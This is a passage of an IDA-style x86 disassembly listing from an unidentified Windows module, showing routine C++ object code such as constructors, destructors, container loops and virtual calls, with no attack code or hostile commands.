arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B692B8 SIZE 00000026 BYTES
push 4Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B6935E
mov ecx, eax
jmp loc_69B692B8
; ---------------------------------------------------------------------------
loc_69B6935E: ; CODE XREF: sub_69B6934C+9j
xor eax, eax
retn 4
sub_69B6934C endp
; =============== S U B R O U T I N E =======================================
sub_69B69363 proc near ; CODE XREF: sub_69B698D6+3j
; .text:69B698E9j
; DATA XREF: ...
mov eax, offset off_69B6936C
retn
sub_69B69363 endp
; ---------------------------------------------------------------------------
align 4
off_69B6936C dd offset off_69B29C7C ; DATA XREF: sub_69B69363o
dd offset sub_69B699DA
; =============== S U B R O U T I N E =======================================
sub_69B69374 proc near ; DATA XREF: .text:69B13DA4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov eax, [eax]
mov ecx, [esp+arg_0]
mov [ecx], eax
retn 8
sub_69B69374 endp
; =============== S U B R O U T I N E =======================================
sub_69B69383 proc near ; DATA XREF: .text:69B13DA0o
; .text:69B1EE38o ...
push 4
pop eax
retn
sub_69B69383 endp
; =============== S U B R O U T I N E =======================================
sub_69B69387 proc near ; DATA XREF: .text:69B13818o
push dword ptr [ecx+3Ch]
push 0
call sub_69B6D2B6
retn 4
sub_69B69387 endp
; =============== S U B R O U T I N E =======================================
sub_69B69394 proc near ; DATA XREF: .text:69B138E8o
mov eax, dword_69B9B3E0
retn
sub_69B69394 endp
; =============== S U B R O U T I N E =======================================
sub_69B6939A proc near ; DATA XREF: .text:69B1F6BCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
mov ecx, [esp+4+arg_0]
call sub_69B4D414
retn 8
sub_69B6939A endp
; =============== S U B R O U T I N E =======================================
sub_69B693AA proc near ; CODE XREF: sub_69B6940A+48p
; sub_69B69855+24p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_69B693C2
cmp dword ptr [esi+8], 0
jg short loc_69B693BE
call sub_69B2E6D8
loc_69B693BE: ; CODE XREF: sub_69B693AA+Dj
and dword ptr [esi+0Ch], 0
loc_69B693C2: ; CODE XREF: sub_69B693AA+7j
pop esi
retn 4
sub_69B693AA endp
; =============== S U B R O U T I N E =======================================
sub_69B693C6 proc near ; CODE XREF: sub_69B698EE+3j
; sub_69B698F6+3j
; DATA XREF: ...
push esi
push edi
mov esi, ecx
xor edi, edi
push edi
lea eax, [esi+3Ch]
push eax
call sub_69B17320
push edi
lea eax, [esi+40h]
push eax
call sub_69B17320
push edi
lea eax, [esi+44h]
push eax
call sub_69B17320
push edi
lea ecx, [esi+48h]
call sub_69B677FE
push edi
lea eax, [esi+4Ch]
push eax
call sub_69B17320
push edi
add esi, 50h
push esi
call sub_69B17320
pop edi
pop esi
retn
sub_69B693C6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6940A proc near ; CODE XREF: sub_69B69484+6p
; sub_69B69505+9p ...
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+40h]
xor ebx, ebx
cmp edi, ebx
jz short loc_69B6943B
cmp [edi+8], ebx
jg short loc_69B69422
call sub_69B2E6D8
loc_69B69422: ; CODE XREF: sub_69B6940A+11j
mov ecx, [esi+38h]
shl ecx, 2
mov edx, ecx
shr ecx, 2
add edi, 0Ch
xor eax, eax
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
loc_69B6943B: ; CODE XREF: sub_69B6940A+Cj
cmp [esi+44h], ebx
jz short loc_69B69467
xor edi, edi
cmp [esi+38h], ebx
jle short loc_69B6945D
loc_69B69447: ; CODE XREF: sub_69B6940A+51j
mov ecx, [esi+44h]
push edi
call sub_69B1A954
push dword ptr [eax]
call sub_69B693AA
inc edi
cmp edi, [esi+38h]
jl short loc_69B69447
loc_69B6945D: ; CODE XREF: sub_69B6940A+3Bj
push ebx
lea eax, [esi+4Ch]
push eax
call sub_69B17320
loc_69B69467: ; CODE XREF: sub_69B6940A+34j
push ebx
lea ecx, [esi+48h]
mov [esi+54h], ebx
mov [esi+58h], ebx
call sub_69B677FE
push ebx
add esi, 50h
push esi
call sub_69B17320
pop edi
pop esi
pop ebx
retn
sub_69B6940A endp
; =============== S U B R O U T I N E =======================================
sub_69B69484 proc near ; DATA XREF: .text:69B137FCo
push esi
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B6940A
mov ecx, esi
pop esi
jmp sub_69B6CCB6
sub_69B69484 endp
; =============== S U B R O U T I N E =======================================
sub_69B69497 proc near ; DATA XREF: .text:69B13900o
push ebx
push ebp
push esi
mov esi, ecx
lea ebp, [esi+40h]
cmp dword ptr [ebp+0], 0
push edi
jnz short loc_69B694CF
mov ebx, [esi+38h]
lea eax, ds:10h[ebx*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
push edi
push ebp
mov dword ptr [edi], offset off_69B13D68
call sub_69B17320
loc_69B694CF: ; CODE XREF: sub_69B69497+Dj
lea ebx, [esi+44h]
cmp dword ptr [ebx], 0
jnz short loc_69B69500
mov esi, [esi+38h]
lea eax, ds:10h[esi*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], esi
call sub_69B19118
push edi
push ebx
mov dword ptr [edi], offset off_69B1EE00
call sub_69B17320
loc_69B69500: ; CODE XREF: sub_69B69497+3Ej
pop edi
pop esi
pop ebp
pop ebx
retn
sub_69B69497 endp
; =============== S U B R O U T I N E =======================================
sub_69B69505 proc near ; DATA XREF: .text:69B13800o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, ecx
lea esi, [edi-10h]
mov ecx, esi
call sub_69B6940A
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+50h]
push [esp+8+arg_8]
mov ecx, edi
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B6CD21
pop edi
pop esi
retn 0Ch
sub_69B69505 endp
; =============== S U B R O U T I N E =======================================
sub_69B69532 proc near ; DATA XREF: .text:69B13838o
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
test bl, bl
push esi
push edi
mov esi, ecx
jz short loc_69B69547
lea ecx, [esi-10h]
call sub_69B6940A
loc_69B69547: ; CODE XREF: sub_69B69532+Bj
xor edi, edi
cmp [esi+28h], edi
jle short loc_69B69568
loc_69B6954E: ; CODE XREF: sub_69B69532+34j
mov ecx, [esi+2Ch]
push edi
call sub_69B1A954
mov ecx, [eax]
mov eax, [ecx]
push ebx
call dword ptr [eax+80h]
inc edi
cmp edi, [esi+28h]
jl short loc_69B6954E
loc_69B69568: ; CODE XREF: sub_69B69532+1Aj
push ebx
mov ecx, esi
call sub_69B6CD55
pop edi
pop esi
pop ebx
retn 4
sub_69B69532 endp
; =============== S U B R O U T I N E =======================================
sub_69B69576 proc near ; DATA XREF: .text:69B1389Co
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+0Ch], edi
jz short loc_69B6958B
call sub_69B6CA4E
mov ebx, eax
jmp short loc_69B69590
; ---------------------------------------------------------------------------
loc_69B6958B: ; CODE XREF: sub_69B69576+Aj
mov ebx, 30Fh
loc_69B69590: ; CODE XREF: sub_69B69576+13j
cmp [esi+30h], edi
jle short loc_69B695B4
loc_69B69595: ; CODE XREF: sub_69B69576+3Cj
mov ecx, [esi+34h]
push edi
call sub_69B1A954
mov ecx, [eax]
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+4Ch]
and ebx, eax
inc edi
cmp edi, [esi+30h]
jl short loc_69B69595
loc_69B695B4: ; CODE XREF: sub_69B69576+1Dj
pop edi
pop esi
mov eax, ebx
pop ebx
retn
sub_69B69576 endp
; =============== S U B R O U T I N E =======================================
sub_69B695BA proc near ; DATA XREF: .text:69B13808o
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+28h], edi
jle short loc_69B695DF
loc_69B695C5: ; CODE XREF: sub_69B695BA+23j
mov ecx, [esi+2Ch]
push edi
call sub_69B1A954
mov ecx, [eax]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+50h]
inc edi
cmp edi, [esi+28h]
jl short loc_69B695C5
loc_69B695DF: ; CODE XREF: sub_69B695BA+9j
pop edi
pop esi
retn 4
sub_69B695BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B695E4 proc near ; DATA XREF: .text:69B13804o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+28h], edi
jle short loc_69B6962C
loc_69B695F2: ; CODE XREF: sub_69B695E4+46j
mov ecx, [esi+2Ch]
push edi
call sub_69B1A954
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
mov eax, [ecx]
push [ebp+arg_0]
call dword ptr [eax+4Ch]
test eax, eax
jz short loc_69B69626
mov ecx, [esi+4]
test ecx, ecx
jz short loc_69B6962E
mov edx, [ecx]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword ptr [edx+4Ch]
test eax, eax
jnz short loc_69B6962E
loc_69B69626: ; CODE XREF: sub_69B695E4+29j
inc edi
cmp edi, [esi+28h]
jl short loc_69B695F2
loc_69B6962C: ; CODE XREF: sub_69B695E4+Cj
xor eax, eax
loc_69B6962E: ; CODE XREF: sub_69B695E4+30j
; sub_69B695E4+40j
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B695E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69634 proc near ; DATA XREF: .text:69B13828o
var_8 = qword ptr -8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jz short loc_69B6964A
fld ds:dbl_69B296F8
jmp short loc_69B69697
; ---------------------------------------------------------------------------
loc_69B6964A: ; CODE XREF: sub_69B69634+Cj
push edi
mov edi, [esi+2Ch]
cmp dword ptr [edi+8], 0
jg short loc_69B69659
call sub_69B2E6D8
loc_69B69659: ; CODE XREF: sub_69B69634+1Ej
mov ecx, [edi+0Ch]
mov eax, [ecx]
call dword ptr [eax+70h]
fstp [ebp+var_8]
xor edi, edi
inc edi
cmp [esi+28h], edi
jle short loc_69B69693
loc_69B6966C: ; CODE XREF: sub_69B69634+5Dj
mov ecx, [esi+2Ch]
push edi
call sub_69B1A954
mov ecx, [eax]
mov eax, [ecx]
call dword ptr [eax+70h]
fcom [ebp+var_8]
fnstsw ax
test ah, 41h
jnz short loc_69B6968B
fstp [ebp+var_8]
jmp short loc_69B6968D
; ---------------------------------------------------------------------------
loc_69B6968B: ; CODE XREF: sub_69B69634+50j
fstp st
loc_69B6968D: ; CODE XREF: sub_69B69634+55j
inc edi
cmp edi, [esi+28h]
jl short loc_69B6966C
loc_69B69693: ; CODE XREF: sub_69B69634+36j
fld [ebp+var_8]
pop edi
loc_69B69697: ; CODE XREF: sub_69B69634+14j
pop esi
leave
retn
sub_69B69634 endp
; =============== S U B R O U T I N E =======================================
sub_69B6969A proc near ; CODE XREF: sub_69B6056F+60p
; sub_69B6056F+90p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push edi
lea edi, [esi+3Ch]
mov ecx, [edi]
mov eax, [ecx+8]
cmp [esi+38h], eax
jl short loc_69B696BA
add eax, eax
push eax
call sub_69B6DD38
push eax
push edi
call sub_69B17320
loc_69B696BA: ; CODE XREF: sub_69B6969A+Fj
push dword ptr [esi+38h]
mov ecx, [edi]
call sub_69B1A954
push [esp+8+arg_0]
push eax
call sub_69B17320
inc dword ptr [esi+38h]
pop edi
pop esi
retn 4
sub_69B6969A endp
; =============== S U B R O U T I N E =======================================
sub_69B696D6 proc near ; CODE XREF: sub_69B69855+54p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov edi, ecx
mov esi, [edi+40h]
cmp dword ptr [esi+8], 0
jg short loc_69B696E9
call sub_69B2E6D8
loc_69B696E9: ; CODE XREF: sub_69B696D6+Cj
lea ebx, [esi+0Ch]
cmp dword ptr [ebx], 0
mov esi, ebx
jz short loc_69B69718
loc_69B696F3: ; CODE XREF: sub_69B696D6+40j
mov eax, [esi]
mov ecx, [edi+44h]
dec eax
push eax
call sub_69B1A954
push dword ptr [eax]
push [esp+10h+arg_4]
call sub_69B6D24C
test eax, eax
jl short loc_69B69727
jz short loc_69B6974A
add esi, 4
cmp dword ptr [esi], 0
jnz short loc_69B696F3
loc_69B69718: ; CODE XREF: sub_69B696D6+1Bj
; sub_69B696D6+72j
mov eax, [esp+0Ch+arg_0]
inc eax
mov [esi], eax
mov al, 1
loc_69B69721: ; CODE XREF: sub_69B696D6+76j
pop edi
pop esi
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_69B69727: ; CODE XREF: sub_69B696D6+36j
mov ecx, [edi+38h]
mov eax, esi
sub eax, ebx
sar eax, 2
sub ecx, eax
lea eax, ds:0FFFFFFFCh[ecx*4]
push eax
lea eax, [esi+4]
push esi
push eax
call sub_69B22103
add esp, 0Ch
jmp short loc_69B69718
; ---------------------------------------------------------------------------
loc_69B6974A: ; CODE XREF: sub_69B696D6+38j
xor al, al
jmp short loc_69B69721
sub_69B696D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6974E proc near ; DATA XREF: .text:69B13834o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
push [ebp+arg_0]
mov esi, ecx
call sub_69B6CFE2
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+28h]
mov [eax+38h], ecx
mov ebx, [esi+28h]
mov [ebp+var_C], eax
lea eax, ds:10h[ebx*4]
push eax
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov [edi+8], ebx
call sub_69B19118
and [ebp+var_4], 0
mov dword ptr [edi], offset off_69B1F680
cmp dword ptr [esi+28h], 0
jle short loc_69B697D5
loc_69B6979D: ; CODE XREF: sub_69B6974E+85j
push [ebp+var_4]
mov ecx, [esi+2Ch]
call sub_69B1A954
push [ebp+var_4]
mov ebx, [eax]
mov ecx, edi
call sub_69B1A954
push [ebp+arg_0]
mov [ebp+var_8], eax
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+7Ch]
push eax
push [ebp+var_8]
call sub_69B17320
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [esi+28h]
jl short loc_69B6979D
loc_69B697D5: ; CODE XREF: sub_69B6974E+4Dj
push edi
mov edi, [ebp+var_C]
lea eax, [edi+3Ch]
push eax
call sub_69B17320
xor eax, eax
mov al, [esi+0Ch]
and eax, 1
mov [edi+48h], eax
cmp dword ptr [esi+8], 0
jz short loc_69B697FA
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+50h]
loc_69B697FA: ; CODE XREF: sub_69B6974E+A3j
lea eax, [edi+10h]
pop edi
pop esi
pop ebx
leave
retn 4
sub_69B6974E endp
; =============== S U B R O U T I N E =======================================
sub_69B69804 proc near ; DATA XREF: .text:69B138FCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov esi, ecx
xor edi, edi
cmp [esi+38h], edi
jle short loc_69B69834
loc_69B6980F: ; CODE XREF: sub_69B69804+2Ej
mov ecx, [esi+3Ch]
push edi
call sub_69B1A954
mov ecx, [eax]
mov eax, [ecx]
call dword ptr [eax+5Ch]
push [esp+8+arg_4]
mov edx, [eax]
push [esp+0Ch+arg_0]
mov ecx, eax
call dword ptr [edx+5Ch]
inc edi
cmp edi, [esi+38h]
jl short loc_69B6980F
loc_69B69834: ; CODE XREF: sub_69B69804+9j
pop edi
pop esi
retn 8
sub_69B69804 endp
; =============== S U B R O U T I N E =======================================
sub_69B69839 proc near ; DATA XREF: .text:69B1382Co
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
lea ecx, [esi-10h]
call sub_69B6969A
lea eax, [esi-10h]
neg eax
sbb eax, eax
and eax, esi
pop esi
retn 4
sub_69B69839 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B69855 proc near ; CODE XREF: sub_69B69A46+60p
; sub_69B69AE5+D3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
mov eax, [ebx]
push edi
mov edi, ecx
mov ecx, ebx
call dword ptr [eax+3Ch]
test eax, eax
jz short loc_69B698C5
push esi
loc_69B6986B: ; CODE XREF: sub_69B69855+6Dj
push [ebp+arg_0]
mov ecx, [edi+44h]
call sub_69B1A954
mov esi, [eax]
push esi
call sub_69B693AA
mov eax, [ebx]
push esi
mov ecx, ebx
call dword ptr [eax+60h]
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_69B698A1
push [ebp+arg_0]
mov ecx, [edi+44h]
call sub_69B1A954
push [ebp+arg_4]
push eax
call sub_69B17320
loc_69B698A1: ; CODE XREF: sub_69B69855+36j
push [ebp+arg_4]
mov ecx, edi
push [ebp+arg_0]
call sub_69B696D6
test al, al
jnz short loc_69B698C4
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+40h]
mov eax, [ebx]
mov ecx, ebx
call dword ptr [eax+3Ch]
test eax, eax
jnz short loc_69B6986B
loc_69B698C4: ; CODE XREF: sub_69B69855+5Bj
pop esi
loc_69B698C5: ; CODE XREF: sub_69B69855+13j
pop edi
pop ebx
pop ebp
retn 8
sub_69B69855 endp
; =============== S U B R O U T I N E =======================================
sub_69B698CB proc near ; DATA XREF: .text:69B12BF8o
; .text:69B1384Co ...
mov al, 1
retn
sub_69B698CB endp
; =============== S U B R O U T I N E =======================================
sub_69B698CE proc near ; DATA XREF: .text:69B1385Co
arg_0 = byte ptr 4
sub ecx, 8
jmp sub_69B69976
sub_69B698CE endp
; =============== S U B R O U T I N E =======================================
sub_69B698D6 proc near ; DATA XREF: .text:69B1386Co
sub ecx, 8
jmp sub_69B69363
sub_69B698D6 endp
; ---------------------------------------------------------------------------
loc_69B698DE: ; DATA XREF: .text:69B137C4o
sub ecx, 10h
jmp sub_69B69976
; ---------------------------------------------------------------------------
loc_69B698E6: ; DATA XREF: .text:69B137D4o
sub ecx, 10h
jmp sub_69B69363
; =============== S U B R O U T I N E =======================================
sub_69B698EE proc near ; DATA XREF: .text:69B13884o
sub ecx, 8
jmp sub_69B693C6
sub_69B698EE endp
; =============== S U B R O U T I N E =======================================
sub_69B698F6 proc near ; DATA XREF: .text:69B137ECo
sub ecx, 10h
jmp sub_69B693C6
sub_69B698F6 endp
; =============== S U B R O U T I N E =======================================
sub_69B698FE proc near ; CODE XREF: sub_69B699F2+1Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_8]
mov esi, ecx
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_69B6D314
movzx eax, byte ptr [esp+4+arg_8]
mov dword ptr [esi], offset off_69B138B0
mov dword ptr [esi+8], offset off_69B13850
mov dword ptr [esi+10h], offset off_69B137B8
mov [esi+48h], eax
and dword ptr [esi+4Ch], 0
and dword ptr [esi+50h], 0
mov eax, esi
pop esi
retn 0Ch
sub_69B698FE endp
; =============== S U B R O U T I N E =======================================
sub_69B6993C proc near ; CODE XREF: sub_69B699DA+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
mov dword ptr [esi], offset off_69B138B0
mov dword ptr [esi+8], offset off_69B13850
mov dword ptr [esi+10h], offset off_69B137B8
mov [esi+3Ch], eax
mov [esi+40h], eax
mov [esi+44h], eax
mov [esi+48h], eax
mov [esi+4Ch], eax
mov [esi+50h], eax
mov eax, esi
pop esi
retn 4
sub_69B6993C endp
; =============== S U B R O U T I N E =======================================
sub_69B69976 proc near ; CODE XREF: sub_69B698CE+3j
; .text:69B698E1j
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B69991
test [esp+4+arg_0], 1
jz short loc_69B6998B
push esi
call sub_69B1829F
loc_69B6998B: ; CODE XREF: sub_69B69976+Dj
mov eax, esi
pop esi
retn 4
sub_69B69976 endp
; =============== S U B R O U T I N E =======================================
sub_69B69991 proc near ; CODE XREF: sub_69B69976+3p
push esi
mov esi, ecx
lea eax, [esi+50h]
push eax
call sub_69B17230
lea eax, [esi+4Ch]
push eax
call sub_69B17230
lea eax, [esi+48h]
test byte ptr [eax], 1
jz short loc_69B699B7
and dword ptr [eax], 0FFFFFFFEh
push eax
call sub_69B17230
loc_69B699B7: ; CODE XREF: sub_69B69991+1Bj
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B69991 endp
; =============== S U B R O U T I N E =======================================
sub_69B699DA proc near ; DATA XREF: .text:69B69370o
push 5Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B699EF
push 0
mov ecx, eax
call sub_69B6993C
retn
; ---------------------------------------------------------------------------
loc_69B699EF: ; CODE XREF: sub_69B699DA+9j
xor eax, eax
retn
sub_69B699DA endp
; =============== S U B R O U T I N E =======================================
sub_69B699F2 proc near ; CODE XREF: sub_69B6056F+46p
; sub_69B63C59+37p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
push 5Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B69A16
push [esp+8+arg_8]
mov ecx, eax
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B698FE
mov edi, eax
jmp short loc_69B69A18
; ---------------------------------------------------------------------------
loc_69B69A16: ; CODE XREF: sub_69B699F2+Bj
xor edi, edi
loc_69B69A18: ; CODE XREF: sub_69B699F2+22j
push 20h
call sub_69B17EF3
mov esi, eax
mov ecx, esi
mov dword ptr [esi+8], 4
call sub_69B19118
push esi
lea eax, [edi+3Ch]
push eax
mov dword ptr [esi], offset off_69B1F680
call sub_69B17320
mov eax, edi
pop edi
pop esi
retn 0Ch
sub_69B699F2 endp
; =============== S U B R O U T I N E =======================================
sub_69B69A46 proc near ; CODE XREF: sub_69B69AE5+53p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push esi
mov esi, ecx
push edi
mov edi, [esi+40h]
cmp dword ptr [edi+8], 0
mov [esp+10h+var_4], edi
jg short loc_69B69A5E
call sub_69B2E6D8
loc_69B69A5E: ; CODE XREF: sub_69B69A46+11j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test eax, eax
mov [esp+10h+var_8], eax
jz short loc_69B69ADC
push ebx
push ebp
loc_69B69A6F: ; CODE XREF: sub_69B69A46+92j
mov eax, [esi+54h]
cmp eax, [esi+38h]
jge short loc_69B69ABA
lea ebx, [esi+10h]
loc_69B69A7A: ; CODE XREF: sub_69B69A46+6Ej
push dword ptr [esi+54h]
mov ecx, [esi+3Ch]
call sub_69B1A954
mov edi, [eax]
mov eax, [ebx]
mov ebp, [edi]
mov ecx, ebx
call dword ptr [eax+84h]
mov ecx, edi
push eax
push [esp+1Ch+var_8]
push dword ptr [esi+18h]
call dword ptr [ebp+48h]
push edi
push dword ptr [esi+54h]
mov ecx, esi
call sub_69B69855
inc dword ptr [esi+54h]
mov eax, [esi+54h]
cmp eax, [esi+38h]
jl short loc_69B69A7A
mov edi, [esp+18h+var_4]
loc_69B69ABA: ; CODE XREF: sub_69B69A46+2Fj
cmp dword ptr [edi+0Ch], 0
jnz short loc_69B69ADA
mov ecx, esi
call sub_69B65903
and dword ptr [esi+54h], 0
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
test eax, eax
mov [esp+18h+var_8], eax
jnz short loc_69B69A6F
loc_69B69ADA: ; CODE XREF: sub_69B69A46+78j
pop ebp
pop ebx
loc_69B69ADC: ; CODE XREF: sub_69B69A46+25j
mov eax, [esp+10h+var_8]
pop edi
pop esi
pop ecx
pop ecx
retn
sub_69B69A46 endp
; =============== S U B R O U T I N E =======================================
sub_69B69AE5 proc near ; DATA XREF: .text:69B138F4o
push ebx
push esi
mov esi, ecx
push edi
mov edi, [esi+40h]
xor ebx, ebx
cmp edi, ebx
jnz short loc_69B69AFA
xor eax, eax
jmp loc_69B69BCF
; ---------------------------------------------------------------------------
loc_69B69AFA: ; CODE XREF: sub_69B69AE5+Cj
cmp [edi+8], ebx
jg short loc_69B69B04
call sub_69B2E6D8
loc_69B69B04: ; CODE XREF: sub_69B69AE5+18j
push ebp
lea ebp, [esi+48h]
add edi, 0Ch
test dword ptr [ebp+0], 0FFFFFFFEh
jnz loc_69B69BB0
cmp [edi], ebx
jz short loc_69B69B24
mov eax, [esi+54h]
cmp eax, [esi+38h]
jge short loc_69B69B45
loc_69B69B24: ; CODE XREF: sub_69B69AE5+35j
mov eax, [esi+54h]
cmp eax, [esi+38h]
jnz short loc_69B69B36
mov ecx, esi
call sub_69B65903
mov [esi+54h], ebx
loc_69B69B36: ; CODE XREF: sub_69B69AE5+45j
mov ecx, esi
call sub_69B69A46
test eax, eax
jz loc_69B69BCE
loc_69B69B45: ; CODE XREF: sub_69B69AE5+3Dj
mov eax, [edi]
mov ecx, [esi+3Ch]
dec eax
push eax
mov [esi+58h], eax
lea ebx, [esi+50h]
call sub_69B1A954
push eax
mov ecx, ebx
call sub_69B4D414
mov ecx, [ebx]
mov eax, [ecx]
call dword ptr [eax+40h]
push eax
mov ecx, ebp
call sub_69B677FE
lea ebx, [esi+4Ch]
push dword ptr [ebx]
call sub_69B693AA
push dword ptr [esi+58h]
mov ecx, [esi+44h]
call sub_69B1A954
mov eax, [eax]
mov ecx, [ebx]
push eax
push ecx
call sub_69B6D2B6
push eax
push ebx
call sub_69B17320
mov eax, [esi+38h]
dec eax
mov ebx, eax
shl ebx, 2
push ebx
lea eax, [edi+4]
push eax
push edi
call sub_69B22103
add esp, 0Ch
and dword ptr [ebx+edi], 0
loc_69B69BB0: ; CODE XREF: sub_69B69AE5+2Dj
push dword ptr [esi+50h]
mov ecx, esi
push dword ptr [esi+58h]
call sub_69B69855
mov esi, [ebp+0]
push 0
mov ecx, ebp
and esi, 0FFFFFFFEh
call sub_69B677FE
mov eax, esi
loc_69B69BCE: ; CODE XREF: sub_69B69AE5+5Aj
pop ebp
loc_69B69BCF: ; CODE XREF: sub_69B69AE5+10j
pop edi
pop esi
pop ebx
retn
sub_69B69AE5 endp
; =============== S U B R O U T I N E =======================================
sub_69B69BD3 proc near ; CODE XREF: sub_69B69C68+3j
; DATA XREF: .text:69B15844o
mov eax, offset off_69B69BDC
retn
sub_69B69BD3 endp
; ---------------------------------------------------------------------------
align 4
off_69B69BDC dd offset off_69B29C74 ; DATA XREF: sub_69B69BD3o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B69BE4 proc near ; DATA XREF: .text:69B15814o
push esi
mov esi, ecx
mov ecx, [esi+8]
mov eax, [ecx]
push edi
call dword ptr [eax+4Ch]
mov ecx, [esi+0Ch]
test ecx, ecx
mov edi, eax
jz short loc_69B69C00
mov eax, [ecx]
call dword ptr [eax+4Ch]
and edi, eax
loc_69B69C00: ; CODE XREF: sub_69B69BE4+13j
mov eax, edi
pop edi
pop esi
retn
sub_69B69BE4 endp
; =============== S U B R O U T I N E =======================================
sub_69B69C05 proc near ; DATA XREF: .text:69B15860o
mov eax, [ecx+18h]
dec eax
jz short loc_69B69C3B
dec eax
jz short loc_69B69C35
dec eax
jz short loc_69B69C2F
dec eax
jz short loc_69B69C29
dec eax
jz short loc_69B69C23
dec eax
jz short loc_69B69C1D
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_69B69C1D: ; CODE XREF: sub_69B69C05+13j
mov eax, dword_69B9B338
retn
; ---------------------------------------------------------------------------
loc_69B69C23: ; CODE XREF: sub_69B69C05+10j
mov eax, dword_69B9B340
retn
; ---------------------------------------------------------------------------
loc_69B69C29: ; CODE XREF: sub_69B69C05+Dj
mov eax, dword_69B9B348
retn
; ---------------------------------------------------------------------------
loc_69B69C2F: ; CODE XREF: sub_69B69C05+Aj
mov eax, dword_69B9B350
retn
; ---------------------------------------------------------------------------
loc_69B69C35: ; CODE XREF: sub_69B69C05+7j
mov eax, dword_69B9B358
retn
; ---------------------------------------------------------------------------
loc_69B69C3B: ; CODE XREF: sub_69B69C05+4j
mov eax, dword_69B9B360
retn
sub_69B69C05 endp
; =============== S U B R O U T I N E =======================================
sub_69B69C41 proc near ; DATA XREF: .text:69B15864o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_4]
mov esi, ecx
mov ecx, [esi+10h]
push [esp+8+arg_0]
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov ecx, [esi+14h]
test ecx, ecx
pop esi
jz short locret_69B69C61
mov eax, [ecx]
jmp dword ptr [eax+5Ch]
; ---------------------------------------------------------------------------
locret_69B69C61: ; CODE XREF: sub_69B69C41+19j
retn 8
sub_69B69C41 endp
; =============== S U B R O U T I N E =======================================
sub_69B69C64 proc near ; DATA XREF: .text:69B15804o
push 3
pop eax
retn
sub_69B69C64 endp
; =============== S U B R O U T I N E =======================================
sub_69B69C68 proc near ; DATA XREF: .text:69B157E4o
sub ecx, 8
jmp sub_69B69BD3
sub_69B69C68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
